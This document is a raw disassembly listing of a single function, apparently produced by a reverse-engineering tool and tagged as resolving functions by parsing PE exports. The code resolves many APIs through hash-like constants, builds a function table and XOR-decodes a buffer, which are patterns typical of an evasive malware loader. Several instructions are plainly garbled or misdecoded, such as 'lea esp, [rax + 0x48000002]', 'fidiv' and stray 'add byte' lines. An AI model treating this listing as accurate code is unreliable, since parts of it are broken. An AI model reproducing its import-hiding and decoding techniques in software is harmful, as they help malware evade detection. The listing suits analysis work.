Function at 0x402680
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, rax
call fcn.004039ae
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x70]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xfc]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x118]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x290]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xd4]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x64]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xe0]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xc4]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x44]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x290]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xb8]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xc8]
add byte [rax - 0x75], cl
lea esp, [rax + 0x48000002]
mov eax, dword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x58]
mov rcx, qword [rbp + 0x2a0]
add byte [rax], al
mov rax, qword [rbp + 0x290]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x68]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xc0]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xf8]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x124]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x290]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 8]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x218]
mov edx, 0xc8
mov ecx, 0x40
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
mov qword [rax + 0xa0], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x298]
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x268]
mov qword [rax + 0x48], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x288]
mov qword [rax + 0x68], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x230]
mov qword [rax + 0x30], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x290]
mov qword [rax + 0xb0], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x1f8]
mov qword [rax + 0x70], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x248]
mov qword [rax + 0x80], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x258]
mov qword [rax + 0xc0], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x250]
mov qword [rax + 0x88], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x200]
mov qword [rax + 0x98], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x218]
mov qword [rax + 0x60], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x238]
mov qword [rax + 0x90], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x220]
mov qword [rax + 0x10], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x260]
mov qword [rax + 0x50], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x228]
mov qword [rax + 0xb8], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x210]
mov qword [rax + 0x18], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x240]
mov qword [rax + 0x40], rdx
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x270]
mov qword [rax + 8], rdx
mov rdx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rdx
mov edx, 0x80e96588
mov rcx, rax
call fcn.00403d2a
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
mov qword [rax + 0x20], rdx
lea rax, [rbp + 0xc0]
mov edx, 0x1a
mov rcx, rax
call fcn.0040561c
lea rcx, [rbp + 0xc0]
mov rdx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1f0]
mov r8, rcx
mov rcx, rax
call fcn.00403af6
mov qword [rbp + 0x1e8], 0
lea rax, [rbp + 0xc0]
mov rcx, qword [rbp + 0x1f0]
mov rdx, rax
call fcn.0040506e
mov qword [rbp + 0x1e0], rax
loopne 0x402b73
add byte [rax], al
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x8c]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1e0]
mov r8, rcx
mov eax, ecx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x18]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x50]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xdc]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x14]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x28]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x24]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x104]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0x60]
mov edx, 0x1a
mov rcx, rax
call fcn.0040561c
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1f0]
mov r8, rcx
mov rcx, rax
call fcn.00403b8a
lea rax, [rbp + 0x60]
mov rcx, qword [rbp + 0x1f0]
mov rdx, rax
call fcn.0040506e
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x5c]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1d8]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xc]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1d8]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
mov qword [rax + 0x58], rdx
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x84]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1d8]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
mov qword [rax + 0x28], rdx
lea rax, [rbp + 0x57]
mov edx, 9
mov rcx, rax
call fcn.0040561c
mov rdx, qword [rbp + 0x2a0]
lea rax, [rbp + 0x57]
mov rcx, qword [rbp + 0x1f0]
mov r8, rdx
mov rdx, rax
call fcn.00403716
movzx eax, byte [rbp + 0x58]
test al, al
jne 0x402de8
movzx eax, byte [rbp + 0x5c]
test al, al
je 0x402e1f
mov dword [rbp + 0x2bc], 0
cmp dword [rbp + 0x2bc], 0x22
jg 0x402e1f
mov rax, qword [rbp + 0x1f0]
mov rax, qword [rax + 0x90]
mov edx, 0x58f
mov rcx, rax
call fcn.00405bca
add dword [rbp + 0x2bc], 1
jmp 0x402df2
movzx eax, byte [rbp + 0x5d]
test al, al
jne 0x402ec9
movzx eax, byte [rbp + 0x5e]
test al, al
jne 0x402ec9
mov word [rbp - 0x30], 0x64
mov word [rbp - 0x2e], 0x6f
mov word [rbp - 0x2c], 0x69
mov word [rbp - 0x2a], 0x2e
mov word [rbp - 0x28], 0x6f
mov dword [rbp - 0x28], 0xc766006f
fidiv dword [r10]
mov word [rbp - 0x24], 0x67
mov word [rbp - 0x22], 0
mov qword [rbp - 0x38], 0
lea r8, [rbp + 0x80]
lea rdx, [rbp - 0x38]
lea rax, [rbp - 0x30]
mov rcx, qword [rbp + 0x1f0]
mov r9, r8
mov r8, rdx
mov rdx, rax
call fcn.00403ebd
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0
jle 0x402eab
cmp dword [rbp + 0x1d4], 0xffffffff
jne 0x402ec8
mov rax, qword [rbp + 0x1f0]
mov rax, qword [rax + 0x90]
mov edx, 0x189e
mov rcx, rax
shr eax, 4
sub eax, 0xa7eb0000
nop
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x60]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1d8]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0xa0]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x1d8]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 0x9c]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x1c8], 0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x10], 0
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x1f0]
mov r8d, 0
mov rdx, rax
call fcn.00404952
mov dword [rbp + 0xc], 0
mov rax, qword [rbp + 0x10]
lea r8, [rbp + 0xc]
lea rcx, [rbp + 0x18]
mov rdx, qword [rbp + 0x1f0]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.00405466
mov rax, qword [rbp + 0x2a0]
mov edx, dword [rax + 4]
mov rcx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x298]
mov r8, rcx
mov rcx, rax
call fcn.00403d2a
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x2a0]
mov eax, dword [rax + 0xd0]
mov dword [rbp + 0x1bc], eax
mov rax, qword [rbp + 0x2a0]
mov eax, dword [rax + 0x20]
and byte [rcx + 0x1b885], cl
add byte [rax - 0x75], cl
test dword [rax - 0x74fffffe], esp
cmp al, 0x89
test dword [rcx + rax - 0x7a750000], esi
mov ah, 1
add byte [rax], al
xor dword [rbp + 0x1b8], eax
mov eax, dword [rbp + 0x1b4]
xor dword [rbp + 0x1bc], eax
mov byte [rbp + 0x2bb], 0
mov rax, qword [rbp + 0x2a0]
mov eax, dword [rax + 0x94]
mov dword [rbp + 0x1b0], eax
mov rdx, qword [rbp + 0x18]
mov eax, dword [rbp + 0x1b0]
cdqe
add rax, rdx
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
mov eax, dword [rax]
cmp dword [rbp + 0x1bc], eax
jne 0x403068
mov byte [rbp + 0x2bb], 1
mov rdx, qword [rbp + 0x18]
mov eax, dword [rbp + 0x1b0]
cdqe
add rax, rdx
mov qword [rbp + 0x1a0], rax
mov dword [rbp + 0x19c], 0x105
mov rax, qword [rbp + 0x1a0]
add rax, 4
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x1a0]
mov eax, dword [rax]
mov dword [rbp + 0x18c], eax
mov rax, qword [rbp + 0x190]
mov eax, dword [rax]
mov dword [rbp + 0x188], eax
mov dword [rbp + 8], 0
mov qword [rbp], 0
mov qword [rbp - 8], 0
mov rax, qword [rbp + 0x2a0]
mov eax, dword [rax + 0x2c]
mov dword [rbp + 0x184], eax
mov rax, qword [rbp + 0x2a0]
mov eax, dword [rax + 0x10]
mov dword [rbp + 0x180], eax
cmp byte [rbp + 0x2bb], 0
je 0x403139
mov rax, qword [rbp + 0x190]
mov eax, dword [rax]
mov dword [rbp + 8], eax
mov edx, dword [rbp + 8]
mov rax, qword [rbp + 0x190]
add rax, 4
mov r9, qword [rbp + 0x1f0]
lea rcx, [rbp - 8]
mov r8, qword [rbp + 0x2a0]
mov qword [rsp + 0x20], r8
mov r8, rcx
mov rcx, rax
call fcn.004044f5
jmp 0x403453
mov eax, dword [rbp + 0x18c]
mov r8, qword [rbp + 0x218]
mov rdx, rax
mov ecx, 0x40
call r8
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x1a0]
lea rdx, [rax + 8]
mov ecx, dword [rbp + 0x18c]
mov rax, qword [rbp + 0x178]
mov r8d, ecx
mov rcx, rax
call fcn.004053aa
mov dword [rbp + 0x174], 0
mov dword [rbp + 0x2b4], 0
mov dword [rbp + 0x170], 0
mov eax, dword [rbp + 0x2b4]
cmp dword [rbp + 0x18c], eax
test dword [rcx + rax + 0x3a760000], ecx
mov eax, dword [rbp + 0x2b4]
cdqe
mov rdx, qword [rbp + 0x178]
add rax, rdx
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov eax, dword [rax]
xor eax, dword [rbp + 0x188]
mov rdx, qword [rbp + 0x168]
mov dword [rdx], eax
add dword [rbp + 0x2b4], 4
jmp 0x403199
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x218]
mov edx, 0x20a
mov ecx, 0x40
call rax
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x2b0], 0
mov eax, dword [rbp + 0x2b0]
cdqe
mov rdx, qword [rbp + 0x160]
add byte [rax], al
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x403266
mov eax, dword [rbp + 0x2b0]
cdqe
mov rdx, qword [rbp + 0x160]
add rax, rdx
movzx eax, byte [rax]
mov edx, dword [rbp + 0x2b0]
movsxd rdx, edx
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x158]
add rdx, rcx
cbw
mov word [rdx], ax
add dword [rbp + 0x2b0], 1
jmp 0x403213
mov eax, dword [rbp + 0x2b0]
cdqe
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x160]
add rax, rdx
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call fcn.004048aa
mov qword [rbp + 0x148], rax
mov rdx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x158]
mov rcx, rax
call fcn.00403c53
mov dword [rbp + 0x144], eax
lea r8, [rbp + 8]
mov rdx, rbp
lea rax, [rbp + 0x20]
mov rcx, qword [rbp + 0x1f0]
mov r9, qword [rbp + 0x2a0]
mov qword [rsp + 0x28], r9
mov r9d, dword [rbp + 0x144]
mov dword [rsp + 0x20], r9d
mov r9, r8
mov r8, rdx
mov rdx, rax
call fcn.00404d01
xor eax, 1
test al, al
je 0x40341f
mov eax, dword [rbp + 0x19c]
add eax, 1
add eax, eax
cdqe
mov r8, qword [rbp + 0x218]
mov rdx, rax
mov ecx, 0x40
call r8
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x44], 0
mov r8, qword [rbp + 0x1f0]
lea rdx, [rbp - 0x44]
lea rax, [rbp - 0x40]
mov rcx, qword [rbp + 0x158]
mov r9, r8
mov r8, rdx
mov rdx, rax
call fcn.004050c5
mov byte [rbp + 0x143], al
movzx eax, byte [rbp + 0x143]
xor eax, 1
test al, al
je 0x40337e
mov dword [rbp - 0x44], 0
mov rax, qword [rbp + 0x1f0]
mov rax, qword [rax + 0x90]
mov edx, 0x1348
mov rcx, rax
call fcn.00405bca
jmp 0x4033e8
mov rdx, qword [rbp - 0x40]
lea r8, [rbp + 0x80]
mov rcx, rbp
mov rax, qword [rbp + 0x1f0]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.00403ebd
add byte [rcx + 0x458b0845], cl
or byte [rbx + 0x3b7603f8], al
mov eax, dword [rbp + 8]
cmp eax, 0xffffffff
je 0x4033e7
mov rax, qword [rbp]
mov eax, dword [rax]
cmp dword [rbp + 0x184], eax
jne 0x403322
mov edx, dword [rbp + 8]
mov rax, qword [rbp]
mov ecx, dword [rbp + 0x180]
mov r8d, ecx
mov rcx, rax
call fcn.004051d9
test al, al
jne 0x4033ed
jmp 0x403322
nop
jmp 0x403322
nop
mov r9d, dword [rbp + 8]
mov r8, qword [rbp]
lea rax, [rbp + 0x20]
mov rcx, qword [rbp + 0x1f0]
mov rdx, qword [rbp + 0x2a0]
mov qword [rsp + 0x28], rdx
mov edx, dword [rbp + 0x144]
mov dword [rsp + 0x20], edx
mov rdx, rax
call fcn.00404df9
mov edx, dword [rbp + 8]
mov rax, qword [rbp]
mov r9, qword [rbp + 0x1f0]
lea rcx, [rbp - 8]
mov r8, qword [rbp + 0x2a0]
mov qword [rsp + 0x20], r8
mov r8, rcx
mov rcx, rax
call fcn.0040459a
xor eax, 1
test al, al
jne 0x403709
mov qword [rbp - 0x10], 0
mov rax, qword [rbp - 8]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp - 8]
add rax, 0x10
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x138]
mov r10d, dword [rax + 0xc]
mov rax, qword [rbp + 0x138]
mov edx, dword [rax + 8]
lea rcx, [rbp - 0x10]
mov rax, qword [rbp + 0x130]
mov r8, qword [rbp + 0x1f0]
mov qword [rsp + 0x20], r8
mov r9, rcx
mov r8d, r10d
mov rcx, rax
call fcn.00404471
xor eax, 1
test al, al
jne 0x40370c
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x128], rax
mov dword [rbp + 0x2ac], 0
mov rax, qword [rbp + 0x128]
add rax, 0x90
mov rcx, rax
call fcn.00405433
test eax, eax
sete al
test al, al
je 0x403500
mov rax, qword [rbp + 0x128]
mov eax, dword [rax + 0x160]
mov dword [rbp + 0x2ac], eax
mov eax, dword [rbp + 0x2ac]
mov rdx, qword [rbp + 0x128]
mov edx, dword [rdx + 8]
mov edx, edx
add rax, rdx
lea rdx, [rax + 0x3dd]
mov rax, qword [rbp + 0x128]
add rax, rdx
mov qword [rbp + 0x120], rax
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x2a0]
mov r9d, dword [rax + 0xb4]
lea rcx, [rbp - 0x14]
mov rdx, qword [rbp + 0x120]
mov rax, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x2a0]
mov qword [rsp + 0x20], r8
nop
jmp 0x40370d
nop